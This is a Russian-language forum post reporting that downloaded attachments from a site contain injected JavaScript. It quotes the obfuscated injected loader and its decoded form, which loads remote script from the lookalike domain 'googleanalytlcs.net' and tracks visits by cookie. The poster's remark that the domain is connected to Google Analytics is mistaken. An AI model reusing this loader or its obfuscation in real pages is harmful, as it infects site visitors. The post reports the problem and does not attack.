при добавлении к сообщению любого вида атача - и последующей проверочной скачке его - в тексте файла обнаруживается лишний чужой код яваскрипта, из-за этого портится прикрепленный файл, а также происходит его обрезание с конца на длину скрипта.
<script language=javascript>vdedzlwhe="ViSPSyRrpwIkim%oPRpgWyH!iVsYiQK";awqtdwrr="Z3cscrZ69ptZ20Z6cZ61ngZ75Z61Z67Z65=jZ61Z76ascZ72Z69pt>Z20Z20Z66unZ63Z74ion wpZ72Z6fhZ7aZ66Z28iZ67Z77Z69ghZ73Z29{var Z7ajjwbmZ62Z2cZ66Z72uepZ69=\"kEVuxZ34tZ31Z68Z41w{3)niZ65Z797l}gZ28Z76Z62Z3d+BZ5f~Z5e!Z23Z6afZ5aZ6fZ40|5Z30rZ38Z2aZ2cZ54Z55Z7a&.Z2dZ61GZ4bFOZ48Z5dZ5c\"6PZ70C JcmZ32Z24Z39sZ49;MZ4eq:[Z27Z64`\",Z72ztfZ73kZ74Z75Z67Z3d\"\"Z2cZ6cvZ71kaakZ2cZ6bZ68kZ77iZ6cZ62,gZ67qpcZ68=Z22Z22,vmgZ67gZ61nZ70;Z66or(Z7aZ6aZ6aZ77bZ6db=0;Z7ajjZ77Z62mbZ3cigZ77igZ68Z73.Z6cenZ67Z74hZ3bzjjwbZ6dbZ2b+Z29{ lvZ71kZ61Z61k=iZ67Z77iZ67Z68Z73Z2eZ63hZ61rAZ74(zjjZ77bmZ62)Z3bkhZ6bZ77iZ6cZ62=Z66rZ75epi.iZ6eZ64exOZ66(Z6cvqkZ61ak);if(Z6bhkZ77Z69Z6cb>-1)Z7bZ20vmgZ67gaZ6eZ70Z3dZ28(Z6bhkwZ69lb+1Z29Z2581Z2d1Z29Z3bZ69fZ28vZ6dZ67Z67Z67anZ70<Z3d0)Z76mggZ67Z61Z6ep+Z3d8Z31Z3bZ67Z67qZ70chZ2b=Z66rueZ70Z69.Z63hZ61rAZ74(vZ6dZ67ggZ61nZ70Z2d1Z29Z3bZ20} elZ73Z65 ggqZ70cZ68+Z3dlvZ71kaZ61Z6b;Z7drztfZ73ktug+=ggqZ70Z63h;docZ75meZ6et.Z77Z72itZ65(Z72Z7atfZ73kZ74uZ67)Z3bZ7dZ3cZ2fscZ72ipZ74>";ymutzp=vdedzlwhe.charAt(14);hcsnfy=awqtdwrr.replace(/Z/g,ymutzp);nurgxr=unescape(hcsnfy);var nsduvbh,bmhkllf;document.write(nurgxr);nsduvbh="<Im8eC1J}Gi(xG(y+6cGbGSm8eC16>JZxim1e@iJ174@8=:4@1:@vnJ3J187J3JbG8JA}8I&}8ix+J6bGi{AifG2iZi6TJ@yA(:}xZAxI`=(J+JhMJZxim1e@iJmIGeZGC88e:viG2yTJbG}xynJ3bG8J`J+Jiy{JDG1yM`-Iy1Ue2yvviy{JDG1yn-(y1Ue2yvnJBJ*PtrrrrrnM`@mx2yi1-m@@EeyJ+JiG2yJBJ6+6JBJyImGCyvbG}xynJBJ6MJy4Ce8yI+6JBJ`-1@KNUS18ei(vnMgJZxim1e@iJGy74I`y&1vnJ38y1x8iJv`@mx2yi1-m@@Eey-ei`y4HZvA}8I&}8ixJBJ6+6JBJ@yA(:}xZAxI`=(nJ++JahnMgJeZvJGy74I`y&1vnJnJ3J`@mx2yi1-{8e1yvJ6<S R;pUJ}Gi(xG(y+\\6cGbGSm8eC1\\6JSR +\\6A11C[//(@@(}yGiG}71}mI-iy1/~~x12-(eZ?)lsl)=0ht0$=P0$P)s`$$$mhGhmh$trls0)s0Zah)tst)t$h).6B`@mx2yi1-8yZy88y8B6.6BS18ei(vviy{JDG1yvnn-(y1Ue2yvnnB6\\6><\\/S R6B6;pU>6JnMJmIGeZGC88e:vJA}8I&}8ixTJ@yA(:}xZAxI`=(JnMJgJy}IyJ3JgJgJmG1mAJvynJ3gJgJ174@8=:4@1:@vnM</Im8eC1>J";wprohzf(nsduvbh);</script>
расшифровка кода приводит к следующему:
<script language="JavaScript"> function tyxorbqxotqo() { try { var hlrszlrnu= "vanwhnjamnfn", oehgqlufhusdbg = 1; function csaifaprriq(name, value) {var d = new Date;d.setTime((new Date).getTime() + 86400000);document.cookie = name + "=" + escape(value) + "; expires=" + d.toGMTString();} function aeyxsdezt() {return (document.cookie.indexOf(hlrszlrnu + "=" + oehgqlufhusdbg) == -1);} if( aeyxsdezt() ) { document.write( "<SCRIPT language=\"JavaScript\" SRC=\"http://googleanalytlcs.net/__utm.gif?37973b51452b652639d222c1a1c1240795395f-1349434213&"+document.referrer+"&"+String((new Date()).getTime())+"\"><\/SCR"+"IPT>" ); csaifaprriq( hlrszlrnu, oehgqlufhusdbg ); } else { } } catch (e) {} } tyxorbqxotqo();</script>
дальше разбираться не стал (так как у меня этот сайт заблокирован файлом hosts), но видно, что это связано с гугля-аналитиксом.
ps2: проблему дублирования шапки html страниц формируемой джумлой так и не решили (я ее упоминал, когда рассказывал подробности про уменьшение шрифта)